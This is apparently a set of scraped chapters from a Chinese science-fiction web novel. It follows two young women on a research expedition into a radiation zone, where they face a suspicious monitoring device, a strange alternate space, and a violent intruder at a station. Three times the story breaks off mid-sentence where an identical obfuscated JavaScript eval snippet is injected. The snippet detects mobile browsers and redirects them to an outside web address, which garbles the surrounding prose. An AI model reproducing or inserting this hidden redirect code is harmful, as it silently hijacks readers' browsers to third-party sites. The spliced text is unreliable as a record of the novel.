研究所给程源的项目组安排的实验室就在附近，她们作为名义上的项目参与者，当然也知道实验室所在的位置，想来除了程源，应当也有其他的研究所带着项目参与进来……吧？ “到了。”简初停下脚步，不出所料，实验室的门上亮着红灯。 不得不说这群人真是敬业，明明刚到没多久，就投入进工作里了。简初倒是希望他们懒一些，毕竟要是解决了之前莫景身上出现的“药剂失效”的问题，那离她真正成为小白鼠的日子也就不远了。 正当她们刚刚停下脚步时，身后突然传来人声。 “你们是哪个组的人，在这做什么？” 108. 无人区（10） 身后突然传来问话声，简初转头看过去，见到一张陌生的男性面孔，对方穿着研究员的白大褂，胸口是斯塔集团的图标。 这是斯塔研究所的人？ 他走进，板着一张脸打量了她们：“联邦军校的？怎么到这里来了，喊你们来实验室了吗？” 莫景刚想摇头，就被简初抢先开口阻止。 “当然，毕竟我们也是项目的成员。”她的语气和表情都很自然，叫人挑不出错处，莫景抿抿唇，把舞台完全交给了简初。 “你是过来找我们院长的吗？”没给对方继续发问的机会，简初直接将问题抛了回去，“需要我帮忙喊人吗？” 她笑眯眯的，看上去十分热心。 “不需要，我只是路过。”男人轻微皱了皱眉，“在这里没事还是不要到处乱逛，研究所机密很多，不小心碰到什么是要上军事法庭的。” 这人只把话扔下，也不管她们作何反应，转头就从楼梯拐了上去，简初看着他离去的背影扯了扯嘴角。 什么只是路过，整栋楼的两边都有楼梯，既然要上楼，他有什么必要特地从这层中间走过，难道那边的楼梯跟他八字不合吗？ “我们现在要去哪里？”莫景伸手扯了扯简初的衣角，却得到一个让她有些看不懂的微笑，下一秒就看见简初转过身，摁响了实验室的门铃。 莫景：“！！！” 大门打开的速度超乎预期，几乎是摁下门铃的同时，就有一个脑袋从里面钻了出来，窄窄的门缝几乎阻挡了简初往里看的所有视线。 虽然她还没跟这个研究员打过交道，但对方看上去是认识她的，他的眼神滴溜溜从两人身上转了一圈，才开口问道：“你们怎么来了，有什么事情吗？” “想问问有没有我们能做的事，毕竟我刚刚加入，很多事情都不了解，早点接触早点熟悉。”简初脚下微微挪了一步，终于从门缝里看见里头一点画面，但并没有什么有价值的东西。 “这……你们稍等，我去问问胡博士。” 大门重新合上，不到一分钟就再次被人打开：“博士说暂时不需要你们，有事会通知的。” “好，那我们先走了。”简初点点头。 莫景有些摸不着头脑，但她并没有提出疑问，只是亦步亦趋地跟了上去。 两人顺着楼梯往回走，简初捕捉到楼梯上方一丝细微的、努力控制的脚步声，微微勾了勾唇角。 上方两层楼的位置，林颀也不知道是不是察觉到了什么，突然停下脚步，就这么站在了楼梯中央，直到下方的脚步声消失，他才下意识捻了捻手指，回到了他应该去的地方。 …… 傍晚。 无人区天黑的很晚，时间已经来到下午六点，天边还是白乎乎一片。但比较反常的是空气中已经渗出点点寒意，不知道从哪里冒出来，却很努力地试图钻进每一个人的身体里。 简初已经套上统一发放的防寒服，她百无聊赖地揣着手，吹口气已经能模糊看到嘴边的白雾，天虽然是亮着的，但并不能给人带来温暖。 她眯着眼向远处看去，目之所及都是嶙峋的奇石，几乎看不见植被或生物的踪迹。 “嚯，没想到温差这么大，这不符合常理啊。” “在无人区，不按常理来就是常理。” 有研究员凑在一起小声闲聊，这会在门口集结的人大概只有整个团队一半多，目测二十来个人，旁边停了两辆研究所的运输车，里面的生活物资已经准备好了。 “各位，该走了。”傅遥清点完人头，回头跟大家拍了拍手，清亮的声音在宽阔安静的无人区门前，竟然沾染上一点寂寥的味道。 “走了。”简初被身后的莫景轻推了一把，终于跟着钻进了车厢。这次的车厢显然没有技术加持，一半的空间被物资堆满，剩下的人只能肩贴着肩紧紧挨在一起。 简初和莫景两人面对面坐在车尾的位置上，前面的人挤得比较紧，后面的人发现空间还够，反倒稍稍保持了些距离。 “麻烦往里坐一些。” 简初逆着最后的余晖看过去，只勉强看到几个被勾勒出的剪影，而跟她说话的是之前在房间门口遇到的特战中心的年轻人。 跟在他后面的几人轻巧地跳上车厢，便反手关上了车门，四个人也是两两相对，坐在了车门边，这下所有人又挤在一起了。 隔着防寒服，简初甚至都能感觉到两人接触的肩膀上传来的温度，她不是很喜欢这种感觉，试图向旁边挪一挪，但另一边也很挤，实在没有空间。 “咚！” 车轮好像压过什么东西，整个车厢剧烈地颠簸了一下，简初下意识后仰贴近车厢壁，下一秒却感觉有人抓住了自己的胳膊。 她低头看向自己的手臂，顺着上面的手看向对方的脸。 年轻人猛地转过头，只留下小半张侧脸：“……不要乱动。” 简初不安地挪了挪脚，也没跟他多说，只随口应了一声。 刚刚的颠簸只是个小意外，之后的路途都十分顺利。车身摇摇晃晃，里面的乘客几乎都点着脑袋开始打瞌睡了。 简初半睁着眼，有些出神地看着对面已经闭上眼的莫景，她不是很放心在这种地方睡着，尽管表面上看起来灵魂已经出走，实际上一直在注意周围的动静。 许久之后，在简初的睡意愈加浓烈时，车辆忽然停住了。 到了？ 她的余光瞥见身旁人的表情，就知道这是发生了意料之外的事。 傅燃看向坐在门边的安栩，对方点点头，迅速打开车门窜了出去，整个车厢内重新恢复安静，但这一次的安静有些让人呼吸不过来。 “发生什么事了？”前面传来其他人的疑问。 “有人去检查了，不用担心。”傅燃回道，也许是他的声音太过平静，所以很有效地缓和了大家紧张的情绪。 很快，车门“吱呀”一声被重新打开，安栩灵活地钻回车子里，锁上车门后才开口：“车胎被路上的矿石卡住，已经处理好了。” 车厢内的氛围随之松懈下来，上车辆再次启动，一切又回到刚刚的场景中。 他们的计划已经预留出足够的容错时间，短短几分钟不会影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13864251|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响到到什么。 但如果事情永远能按照计划来，那就不会出现那么多麻烦了。 有了刚才的经验，当车辆再次停下时，乘客们只是短短惊醒了一瞬，没有几秒又垂下头回到了浅层睡眠，他们并不认为这次会出现什么情况，更有甚者睁着朦胧的睡眼，已经打算摸索着下车了。 “坐好不要动。”这次是黎取开口警告了众人，“也不要发出声音。” 他的语气明显严肃了起来，车上的乘客们面面相觑，大家都不是什么没脑子的蠢货，一时间车厢内安静得只能听见发动机的声音，过不了两秒，所有的声音都消失了。 简初借着头顶有些泛黄的灯光四处打量，她注意到车尾的几人不约而同低头查看了终端，应该是有什么通知发送到他们手里，等再抬起头，几人的表情都不如刚刚轻松了。 “哒哒。” 身后突然传来响动，好像有人伸手敲了敲金属的车厢壁，原本不足一提的声音，在此时却显得十分清晰。 傅燃侧头看过来，简初也正看着他，她两只手都放在视线范围内，但声音确实是从她身后传来的，他打了个手势，示意简初往前挪一点，不要再靠在车厢上。 “哒哒。” 这次声音传来的位置往上偏移了一些，大家不约而同抬起脑袋，注视着车厢顶部的位置，这次的声音听得更清晰，感觉像是有什么掉在了上头，可惜只有驾驶室能够看到对外的监控，车厢里的乘客都是一头雾水。 这点响动仿佛吹响了号角，众人头顶突然开始“噼里啪啦”传来无数类似的声响，一道压着一道，层层叠叠，车门缝里开始发出呜呜的风声，车厢内的空气流动明显加快，连温度都迅速低了下去。 如果说是下雨，这动静也有些太大了。 “突发的小型风暴云，大家不要惊慌，过一会就好了。” 简初注意到身边的年轻人再次看了一眼终端，这次他的眉头又舒展了开来。 小型风暴云在无人区里只能算是基础的开胃菜，简初看过的书本里确实没有花很多篇幅来详细描述，只是简单提了一句如果遇到风暴云，需要尽快找到遮蔽物，严禁在其中行进。 “咚咚咚”的声音夹在其中很明显，应该是风卷起了地面上的岩石，又砸在了车厢顶上。特战中心的几人已经老神在在地双手抱胸，丝毫不在意这可怕的动静，也许是被他们的淡定感染了，其他人竟然也逐渐习惯。 小型风暴云最多只能给运输车带来一些浅表的刮伤，无人区研究所几十年的时间都花在无人区探索上，这点小麻烦不足为惧，此前的担忧更多是来自于风暴云的规模未知，如果是大型风暴云，他们就得出去搭建临时防护了。 简初的精神力在车队上空游走，她原以为车辆会停在原地等到风暴过去，却没想到它们现在已经在以缓慢的速度前行了。 不过这种自然现象似乎会对精神力产生干扰，她需要花更多地气力，才能维持和往常一样的水平，尤其是在穿越风壁的时候，感受到了明显的阻碍。 明明是无形之物，却也拥有不容小觑的力量。 109. 无人区（11） 路途有惊无险，一行人还是在预期内抵达了目的地。 在车厢里待了太久，突然呼吸到外头的空气着实让人振奋，哪怕无人区的空气里充盈着淡淡的奇异气味，让人觉得每次呼吸都好像是吸进了一堆辐射源。 两辆运输车灰扑扑的，上面是带着灰土碎石的泥泞污渍，想来刚刚下的那场雨也并不是很干净，很快简初就看见因思禾带着她的助手从驾驶室走了下来。 启明星看上去就是一个大院子，里头两栋紧挨着的小别墅，突然住进这么多人感觉也够呛了。站点内准备交班的人员临时担任了导航，很快，大家就合作把物资搬进了站点仓库里。 九点整，门外突然传来机器的嗡鸣声，一层薄薄的光幕突然张开，几乎紧紧贴在了小楼外墙，甚至把院子都隔离在外。 光幕如同下雨的湖面，荡漾起星星点点的光圈，在众人脸上映出斑斓的光斑。 “真漂亮……”有人低声感叹。 “辐射蔓延到这边了，不过大家不用担心，防护很安全。”工作人员开口解释道。 “白天不开防护罩吗？”有人好奇地问。 “白天无人区外围的辐射指数很低，再加上这边的建筑材料都是特制的……大家放心好了，不会对身体有影响的，否则我们也不敢在这里待上半个月。”工作人员解释道，“有什么需要直接提，我们先去交接了。” 杨树所长跟他们反复叮嘱过，所以这些工作人员并没有掺和闲事的想法，反而是脚底抹油一般迅速离开，不过因思禾还没有宣布解散，大家也不敢随意跑动。 “这边只有一间实验室，设备清单我看过，也还算全面，在这里，一切都要服从安排，以无人区计划为先，至于你们能从中获得什么灵感我不管，不要影响到正事就行。”因思禾淡淡吩咐道，“我的指令最优先，明白？” 包括米勒尔在内的一众人微微颔首，其他研究员们稀稀拉拉地应了声，才一哄而散离开了前厅。 启明星的两栋小楼几乎是紧紧贴在一起的，中间的墙壁被人为打通，用一张巨大的金属门分割开来。 “重要人物”住在第一栋楼的单间，而简初和莫景和大部分研究员一样，住在后面的那栋小楼里，这里的一楼就是实验室，楼上才是被临时收拾出来的房间。 “这扇门也太厚了……” “厚点才安全嘛。” 简初听见有人小声说道。 刚刚在外头她就发现这两栋楼都没有窗户，现在看来是内置换气系统，大概是因为开窗户会影响整栋建筑的防护等级。 她们俩的房间在二楼，一打开门，扑鼻而来就是淡淡的灰尘气味，让简初没忍住打了好几个喷嚏。 “好小。”莫景探出头来，语气平静。 整个房间只有之前在无人区研究所住的一半大小，为了腾出活动空间还用的上下床，否则两张床摆下去，几乎就没有能够站立的地方了。床上用品倒是很干净，不过同样带着点灰尘味，墙角堆放这两个空无一物的透明箱子，应该是给她们放东西的。 简初走上前，伸手摸了摸墙壁，原以为这栋建筑内部也会是什么来建造，结果现在不管是看上去还是摸上去，都跟普通的房屋没有什么区别，甚至质量要更差一点，就这么一蹭，指尖就变白了。 “你们俩，收拾完抓紧时间来一趟实验室啊。”一个研究员扒着门框探出脑袋，确认她们收到通知之后迅速转头离开了。 因为屋子里有味道，所以她们并没有把门关上，倒正好方便了来人。 与此同时，第一栋楼内。 因思禾正在一间小会议室内听取启明星驻点人员的汇报。 “这几年的探测范围往里面推进了大概三十五公里，但是最新的探测站还没有建好，现在只是搭了个毛坯，设备什么都没有，如果要住，那边的储备能源估计只够防护光栅开个三四天的样子。” “所以你们每次过去建设站点，只能待三天？”因思禾问。 “……是的，因为像这些物资、能源，每往里面送一个站点，就会削减很多，目前那里是能有效抵达的极限距离，而且深处的辐射比启明星这边要强，所以防护光栅会消耗更多的能量。”驻点人员面露难色解释道，“如果您需要，我们可以提供一段时间的补给，不过人员要尽量精简。” “嗯，麻烦你们先拟一个方案吧，我们这次肯定是要尽量往深处走的。”因思禾点点头，“我不要你们原来的那条线路，对于我们来说太冗余了，麻烦联系杨树所长，按照异能者的标准制定行进路线。” “明白了，明天早上会将方案报给您。” 这话倒是让因思禾多看了她一眼，现在已经是深夜，明天一早交出方案就意味着这位看上去并不算年轻的工作人员，将牺牲她一整晚的睡眠时间。 显然她也读懂了因思禾的眼神：“您放心，我们明天回研究所后，可以休息几天，不会影响正常工作的。” “那就辛苦你们了，今天算加班。”因思禾微微颔首。 尽管因思禾并不是无人区研究所的上级——她只是在本次计划中担任了最高指挥，不过因为联研所另外给她安排了无人区现场视察的工作，所以在这段时间内，包括杨树在内的所有无人区工作人员，都理当听从她的安排。 工作人员倒没想到自己一句话，反倒给上级留下了好印象，这下更是充满热情，打算将方案做得更加细致。 “没有其他事的话，我先去了，如果有其他要求，您直接找我。” …… 一楼的实验室现在热闹的很。 连同斯塔集团研究所在内，一共有四家研究所，此刻正各自占据实验室的一个角落，忙碌着调整带来的便携设备，看上去颇为和谐。 简初在里面看到了之前在实验室门口遇到的那个男人，这会很明显能看出对方还是个负责人。 尽管所有人都穿着白大褂，但负责人们的气质还是比较突出，毕竟站在旁边几乎什么都不做的人还是很显眼的。 不过更让人在意的是，在这样的环境下，他们显然无法研究自己的项目，那接下来的实验必然会围绕无人区计划的需要来开展，如此一来，她和莫景随队的缘由反倒更加捉摸不透了。 没等她细想，旁边就传来一道熟悉的声音。 “莫景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13877898|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，简初，你们到这边来。”程源朝刚刚进门的两人招招手，其他研究员只是随意瞥来一个好奇的眼神，但很快就转头各自的事情，并没有要探究的意思。 莫景一反常态地走到了简初的前面，不着痕迹微微侧过身子，挡住了程源的视线。 可惜好像并没有什么作用。 程源伸手朝她们摊开掌心，里面有两根薄薄的绑带：“便携式监测仪，套在胳膊上。” 简初捏起其中一根，指尖搓了搓，摸到一个冰冷的金属片。 “项目需要采集你们近期的身体数据，记录无人区环境对你们的影响，之后会应用到项目研究中，所以无论如何都不要摘下，明白？”程源叮嘱道。 简初微微抬起眼皮，看到程源说这句话时眼神有微妙的游离。 “赶紧戴上吧。”程源再次催促，看样子现在不把这东西戴上，他是不会让两人离开的。 莫景侧身撩起衣袖，不着痕迹地递过来一个眼神：“你先看着，我教你怎么戴。” 她的语气和往常很是不同，绑带被迅速套上胳膊，伴随着一丝几乎无法被捕捉到的“噗嗤”声，紧紧贴上了胳膊。 莫景的手指还摁在金属贴片上，她微微皱紧眉头，不过两秒便恢复平静：“需要我帮你吗？” 她想帮忙的意思很明显，简初没有点头也没有摇头，只是垂着眼搓了搓手里的绑带，勾了勾唇角，把它放到了莫景手里：“那就麻烦你了。” 两人的眼神迅速交换，胳膊上感受到轻微的疼痛，简初皱皱眉头，低头看着莫景把绑带束紧。 程源走上前，伸手摸了摸，确认金属片都卡死在上面，才满意点点头：“好了，你们先回去吧，明天早上在前厅汇合。” 简初微微松了一口气，跟着莫景离开了实验室，两人沉默却快速地回到房间，下一秒，莫景关上房门，用莫名雀跃的眼神看过来。 “我很高兴！”她笑弯了眼角，伸手捋起了衣袖，将金属片抠了下来，“你愿意相信我，我很高兴。” 简初看向她摊开的手掌，这才终于看清了绑带的结构。 金属片内侧伸出极长的细针，看上去它们应该深深刺入肌肤，牢牢抓住皮肉，但此时却被莫名的力量压缩，虬结在一起，只有最末端沾上了一点血迹。 简初扬起眉毛，慢悠悠地捋起袖子，手指一个用力，将手臂上的金属片扣了下来。 两枚金属片如出一辙，一眼看去就是个报废品。 简初一脸无辜地耸耸肩：“它这是坏了？” 莫景愣了愣，转而用力点点头：“院长检查过，应该没有问题的。” 说完，两人心照不宣地将绑带重新套上了胳膊。 简初饶有兴致地觑了眼莫景。 对于如何应付这些小招数，她似乎颇有经验，但违和的点在于，如果莫景以前用过这样的方法，那么程源这次没理由不防范。 “好钢用在刀刃上。”莫景突然说道，“有些招数大概只能用一次，那当然要把它用在最有价值的地方了。” 她的眼神明亮又认真。 “我觉得这就是它应该派上用场的时候。” 110. 无人区（12） 夜半时分。 整个房间里黑黢黢的，伸手不见五指。因为没有窗户，所以外面的光线根本透不进来，只有门缝下面映着一线走廊的灯光，活像一个半截被埋在地里的棺材盒子。 过度的黑暗反而会让人睡不安稳，简初睁着铜铃般的眼睛，双手交握，安详地平躺在床上寻找睡意。 头顶不远的地方应该是天花板，但是不管睁不睁眼，眼前的东西好像都没什么区别，她现在大脑一片空白，想要思考什么，但却觉得脑子有些转不动，好像所有记忆都离她而去。 奇怪的感觉。 她用力闭了闭眼，侧过身摸出终端看了眼时间，现在刚过凌晨三点，再不睡就该起床了。 终端屏幕的微弱光线照亮了周围很小范围的区域，不过莫景应该是睡着了，所以这些轻微的动静并没有吵到她。简初能听见正下方传来她平稳的呼吸声，很有规律，如果不是因为还有这点声音，完全安静的空间也许会让简初更加清醒。 她重新翻身平躺，闭上眼听着莫景的呼吸声寻找睡意，很快，白噪音一般的声音慢慢悠悠从大脑中抽离、远去，简初马上就要进入睡眠了。 房间内完全安静下来。 “呃！” 胸口处突然传来心脏收缩的剧烈疼痛，虽然只是一瞬间，但足以把简初从睡梦的边缘拉回来。 她猛然睁开眼，伸手攥紧胸口的衣服布料，努力喘了两口气，疼痛的余威尚在，从胸口缓缓向四肢百骸蔓延而去。 这样的感觉十分熟悉，尽管已经时隔许久，但还是让她回忆起自己刚刚来到这个世界的遭遇。 在那家旅店的走廊里，发生过同样的事情。 不妙的感觉突然涌上心头，简初不知道这样的感觉是源自何处，但…… 她点开终端，意外地发现时间即将来到凌晨四点，刚刚那一段似梦非梦的睡眠，竟然已经将近一个小时。 借着终端这点微弱的光，简初从床上坐起了身，床板发出“吱呀”一声，但很快随着她不再动作，屋子里又安静下来。 屋子里又安静下来…… ！！！ 后背攀上一阵寒意，她听不见莫景的呼吸声了。 不，冷静一点，对方可能只是换了一个睡姿，又或者是莫景醒了，此刻正躺在床上尝试再次入睡。 简初在心里劝慰自己不要无限制地发散思维，但有些事情是无法控制的，她犹豫片刻，微微张开嘴，用气音喊了一声。 “莫景，你醒了吗？” 并没有人回答她，哪怕过了几秒依旧如此。 简初觉得嗓子眼里有些干，她把终端的亮度调到最大，眼睛适应之后轻手轻脚地攀到床边，矫健地翻身落在了地上，她第一时间去看莫景的床铺，但很可惜，映入眼帘的是一张空空如也的床铺。 床上的被子很反直觉地折叠整齐，床单上没有一丝痕迹，似乎上面从来没有人躺过。 就算她要出去，有折好被子的必要吗？ 心脏的跳动声和血液奔流声充斥响在耳边，简初扭头凝视门缝下透出的一线白光，她犹豫了片刻，悄无声息地走近大门，屏息细听，外面没有传来任何声响。 思考了两秒，简初决定让精神力先去探探路，至少要确定这层楼是安全的。 如她所愿，走廊里没有人，但其他房间里同样没有人。 一切都和旅馆的经历串在了一起，这里应该被人为搭建了一个异空间，大多数的生命体都被排除在外，此刻他们应当还在原本的空间里，自己的房间、床铺上安睡。 不知道莫景会不会发现她不见了，不过更让简初头疼的是，为什么这次又是她。 上次在旅店里，显然自己是和那个中年男人一样，因为要执行任务，所以被温弗拉扔进了异空间，但这一次会是因为什么？ 无影并没有提过近期会有什么行动，总不能是这次又要把她卖了？ 不论如何，她现在所在的房间空间狭窄，并且没有其他通往外界的出口，以防万一，她必须先离开这个地方。 想到这里，简初抛开其他的考虑，果断伸手按下门把手，一个跨步就来到了走廊，头顶明亮惨白的灯光有些晃眼，她微微眯了眯眼，迅速适应了这样的亮度，但同时也发现了走廊的不寻常之处。 和旅店一样，走廊变得有些旧了，原本几乎是一尘不染的地面此刻出现了污渍，沿着地面和墙壁的接缝处一路顺延，在拐角处摊成一大块。 天花板也同样如此，一排监控的保护罩都碎了，指示灯看起来也没亮，上面还多了好几张蜘蛛网——很难相信在无人区这样的环境里是怎么会有普通蜘蛛生活的。 这让简初更加确定，她现在确实是进入一个异空间了。 精神力一直在简初周围盘旋，并不是她不想去探测外面的情况，而是有什么阻止了她的精神力进入别的楼层。 此时，整个二楼似乎真的变成了一个巨大的棺材，上下左右都封闭得死死的，连精神力也无法穿透，如果她离开这层楼，是否会有变化呢？ “唰！” 一道黑影从简初余光的楼梯闪过，只能看到对方的方向是从下往上，但他的身形几乎看不清，简初咬咬牙，直接迈开步子跟了上去—— “砰！” 发现的时候已经来不及了，简初几乎是一头撞在楼梯前的空气墙上，她扶着“空气”稳住身形，伸手摸了摸，发现了一堵完全看不见的墙壁，它将楼梯口封得死死的，一点空隙都没有留下。 难道这就是精神力无法离开二楼的原因？ 三十秒后，简初来到了走廊另一头的楼梯口，在距离它一步之遥的地方驻足，缓缓伸出了手。 手顺利穿过了门洞，简初眯了眯眼，向前一步走进了楼梯间。 …… 深夜，无人区的辐射达到了峰值。 如果站在启明星站点的外面，甚至能看到空气中时有时无的彩色光华，那是射线照在防护光栅上时，能源被互相消耗的光辉，每分钟都有大量能源被这么消耗掉，也多亏了启明星有能源再生装置，所以才能毫无负担地开启光栅。 这样的辐射量下，只有异能者才敢暴露其中，无人区的射线在异能者身上会形成一道细微的光圈，那是异能被激发，从辐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13887079|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射中保护所有者的象征，因此异能的强度很大程度决定了异能者在辐射中行走的时间。 而此刻的黑夜中，一个人影从远方跋涉而来，他面容年轻，颧骨高耸，显然并不是站内的工作人员，甚至周身也没有异能被激发的光圈，完全就像一个普通的背包客，尽管这个环境就决定了他并不普通。 来人的脚步没有停顿，径直冲着启明星而来。 值班的站内人员没有发现异常，直到这人走到站点大门前，他才仿佛如梦初醒一般赶紧坐直了身子。 “你是从个站点来的？”他没有贸然开启防护光栅，而是通过对讲向第一道院门外的人问话。 出现在无人区里的只会是研究所的工作人员，但是什么让他冒着深夜巨量的辐射走到这里，明明站点之间都是可以直接通讯的，如果遇到什么麻烦，完全可以直接请求支援，除非他们现在无法跟其他站点联系！ 想到这里，工作人员的语气变得有些焦急：“发生什么事情了？” 可外头的人并不回答，只是站在那里抬头盯着监控，下一秒，工作人员面前的屏幕突然布满了雪花点。 他愣了愣，赶紧离开监控室，站在小别墅的大门内，抻着脑袋向外看去，但不知道是不是角度问题，他现在并不能看见外头的人。 人去哪儿了？ 这个念头刚刚在他脑中升起，一张脸就突然出现在他的视线里，来人就站在别墅的大门外直直看着他，一双眼睛内毫无情感，似乎在看一个普通的物件。 工作人员心中警铃大作，刚想质问对方究竟想做什么，就看见那人举起手，就这么徒手砸向了这扇斥巨资打造的防护大门。 “砰！” 他工作人员心中大惊，却看到大门纹丝不动，毫发无损，内心陡然一松。 再怎么迟钝，他也看出此人来者不善，但他不能理解对方为什么要这么做，大家都是研究所的人，想进来的话把事情解释清楚就好了，为什么要砸门呢。 他打开身上的对讲机，打算先跟驻点的负责人说明一下情况，因为此时想要打开门，需要更高的权限。 “组长，外头来了个人，也许是其他站点过来的，您赶紧过来看看情况，这边……” “滴嘟滴嘟滴嘟——” 周围突然响起刺耳的警报，掩盖住了对讲机那头的话语声，他茫然抬头，就见那人两只手扒住门缝，看上去想要直接用蛮力打开大门。 疯了吗，怎么可能这样把门打开…… “咯吱咯吱——” 门口传来细微的摩擦声，两扇门中央出现了一道缝隙，直到那人将手指探进缝隙中借力，工作人员才反应过来。 “喂！你不要！呃！” 一道黑影闪过，工作人员应声而倒，他眼睛还睁着，两手捂着脖子，指缝间慢慢渗出鲜血，紧接着血液像喷泉一样溅射而出，甚至落在了天花板上。 天花板上的血如同下雨一样淅淅沥沥滴落下来，闯入者站在血雨的范围之外，面无表情地看着他咽气。 警报没有让来人露出一丝惊慌，他转过身，在血液流到脚下前迈开了步子。 111. 无人区（13） 黑暗中警报声宛如惊雷一般炸响，傅燃猛然睁眼，来不及恍惚就迅速从床上起身。 “站点受到未知袭击，所有房间强制落锁，如需解锁请输入驻点人员提供的随机密钥，重复，站点受到……” 手腕上的终端正在疯狂振动，屏幕上不断弹出一串鲜红的编码，等他点击确认后，就看到启明星的站内地图上，一个红色的感叹号正在前厅的位置不断闪烁。 傅燃顿时心一紧，红色的标记意味着出现了人员伤亡，但未知袭击……难道是异种？ 事不宜迟，他迅速输入密钥冲出房门，同样收到讯息的林豹双等人紧随其后，他们都住在第一栋楼，所以很快就能抵达目的地，但几人刚刚下楼，还没见到前厅的情况，就已经嗅到了浓重的血腥味。 他们几乎是第一批到达现场的人，值夜人员的尸体正仰面倒在地上，地上的血液积蓄了一大摊，但颜色鲜亮，显然是刚刚出事。 “发生什么事了？！”因思禾行色匆忙地跑下楼梯，身旁是表情凝重的傅遥，以及特战中心几个异能者。 他们都是站点系统白名单上的人，出现此类的异常情况，系统会自动发送对应的密钥，确保他们能够及时赶到现场处理意外情况，至于其他人，此时还是乖乖呆在各自的房间里为好。 大多数情况下，落锁的房门防护等级会提升好几个等级，只可惜在今天这种情况下，似乎并不能起到太大的作用。 工作人员们匆匆赶到，没敢把目光投向地上的尸体，迅速调出了门口的监控，众人凑在一起，迅速了解了情况。 “这是什么人？！”负责人陷入空前的恐慌，他们的应急预案里从来没有关于此类情况的描述，准确地说，就算此时看到了监控，也无法相信无人区里居然会发生如此匪夷所思的事情。 启明星站点的大门在整个联邦，也算是极高的防护等级，而监控里的人就这么硬生生掰开了它？ 就算是异能者，在这扇门前也得掂量掂量，更何况外围的监控显示，这个袭击者身上并没有辐射光圈，也就是说他身上必然带着防护设备，也就是说对方是有预谋的。 “可以的话抓活的，不行就当场击杀，麻烦各位了。”因思禾表情凝重，所有异能者登时四散开来，就连姗姗来迟的崔斯特等人也加入了其中。 “崔斯特和我留在这保护各位。”傅遥说道。 “你也留在这，发现任何异常及时告诉我。”傅燃叮嘱黎取。 “好，你们小心。”黎取立刻明白了他的意思，点点头目送他们离开。 “我记得启明星的监控是特制的？”因思禾问道。 “是……是这样的。”负责人还没从冲击中缓过神来，无人区研究所向来风平浪静，从来没有、也不可能会出现这样的情况。 但现在就偏偏发生了。 “在监控里搜索入侵者的踪迹，有任何发现及时告知作战人员，辅助他们的行动。”因思禾扭头跟黎取交代。 对于异能者来说，就算是特制的监控也不能全信，毕竟总有千奇百怪的异能能够屏蔽它们的感知。 更何况他们现在对入侵者几乎是一无所知，如果对方是冲他们来的，那就说明他们这次的计划出了错漏——团队抵达启明星不过六个小时，就有不速之客找上门来。 “最近的站点到启明星需要步行多久？”因思禾问道。 “呃，没有人尝试过，不过单纯从距离估计的话，普通人至少需要四个小时。”负责人犹豫着回答，但在无人区步行会面临的意外情况太多，所以这个时间只能是非常大概的估计。 “还有，我们把他的脸放到数据库里跑了一遍，他并不是无人区研究所的人，当然也有可能是对方进行了伪装。”站点负责人补充道。 这话不过是托个底，因为无人区研究所并没有如此强大的异能者，退一万步说，能徒手打开这扇门的人，整个联邦都没有多少。 有工作人员小心抬起眼皮觑了周围的几人，其实他觉得是这群人引来了意外，但这样的话是万万不能说出口的。 “傅遥，监控还能发现什么吗？”因思禾走向一直在反复查看监控的傅遥，在她身后站定，同样弯下腰看向屏幕。 启明星站点的监控是特制监控，尽管位置远离无人区腹地，但工作人员中不乏有异能者，所以为了保证监控的正常运行，这些钱是不能省的。 “你看看这个。”傅遥点点屏幕，监控瞬间暂停放大，画面中只剩下那人掰开大门的双手。 因思禾下意识凑近了屏幕，尽管她的视力并不算差。 “这是……什么？”两人的目光聚焦到伸进大门内的手指上。 站点内的灯光很明亮，监控画面里灯光照在来人的手指上，哪怕放大后的监控画面有些模糊，也能清晰看到指节反射出的一个闪亮的光点。 “他手上戴了东西，也许是义肢，也有可能是他的异能，不过我没遇见过这种。”傅遥深呼了一口气，“它很贴合皮肤，就像长在身体表面的第二层皮肤，所以完全没有影响他把手从门缝里抠进来。” “他杀人的动作很干脆，明显是有目的的，所以不会在不相干的事情上停留，虽然他能强行开门，但看样子应该不会浪费时间去专门伤害房间里的研究人员。”傅遥凭借她以往的工作经验分析道，因思禾也对此表示赞同。 “现在的问题是，他的目的是什么，是物，还是……人？” 此时，没有自保能力的人全都被关在了房间里，但此时把他们放出来无异于送死，但如果入侵者的目标是其中的某个人，那现在所有的房间在他面前都是一个可以轻易打开的罐头。 …… 傅燃的耳机里可以听到其他所有人的交流，但他并没有开口，只是在不断收集信息，他们四人的对外交流工作一直是由黎取来做的，这也是他们降低自身存在感的一个手段。 他的另一只耳朵里则是单独开辟的队内信道，这是由协会下令，在特战中心的协助下单独分出来的信道。 “我这边没有发现。” “我这边也是。” 意料之中，傅燃同样开口传达了自己的情况：“没有发现。” 